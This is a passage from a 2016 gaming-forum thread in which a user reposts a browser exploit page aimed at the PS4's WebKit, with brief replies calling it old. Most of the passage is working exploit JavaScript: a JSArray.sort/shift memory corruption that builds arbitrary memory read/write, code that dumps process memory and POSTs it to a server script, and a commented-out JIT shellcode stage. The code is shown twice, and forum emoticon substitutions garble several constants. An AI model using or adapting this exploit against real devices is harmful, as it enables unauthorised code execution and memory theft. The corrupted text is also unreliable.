0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works Smile
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));

// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }

// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));

var res;

// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);

try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}

// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD

//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error

*/
}
catch(e) {
logAdd(e);
}

return 0;
}

// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");

// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }



// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}

logAdd("<br/>========*End *========<br/><br/>");
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>






You must login or register to view this content.


This is so old man, this is the start of kernel exploitation on the Playstation 4.
01-10-2016, 06:25 AM #4
Adrian
Adrian is back!
Originally posted by AK47 View Post
Hello,

I just came across this download, I believe you upload this to a web server and use it on your PS4 browser.... Check it out looks pretty cool.

THIS IS .PHP, .JS FILES NO NEED FOR VIRUS SCAN... Well they could do something for running JS files in browsers but.... It's in a PS4 browser so i highly doubt anything harmful would happen. Here a few screen shots and pastes of the code i found interesting


You must login or register to view this content.


You must login or register to view this content.


    <html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x1Cool Man (aka Tustin) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1Cool Man (aka Tustin)
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1Cool Man (aka Tustin) { logAdd("error: 2"); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);

// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }

//
// Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));

// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> Cool Man (aka Tustin) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);

u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}


logAdd("u32 size: 0x" + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work


// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);


// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;


for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";


for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";

}


dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");

// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....

fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}


/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));

// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }


//
// Part 5: payload execution
//

// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works Smile
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));

// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }

// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));

var res;

// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);

try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}

// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD

//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error

*/
}
catch(e) {
logAdd(e);
}

return 0;
}

// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");

// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }



// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}

logAdd("<br/>========*End *========<br/><br/>");
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>






You must login or register to view this content.


Thread has been moved to PS4 Mods and Cheats.
01-10-2016, 03:41 PM #5
Pruh
Gobble
Gwhat is Thisi
01-10-2016, 11:48 PM #6
should be moved to ancient archive

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo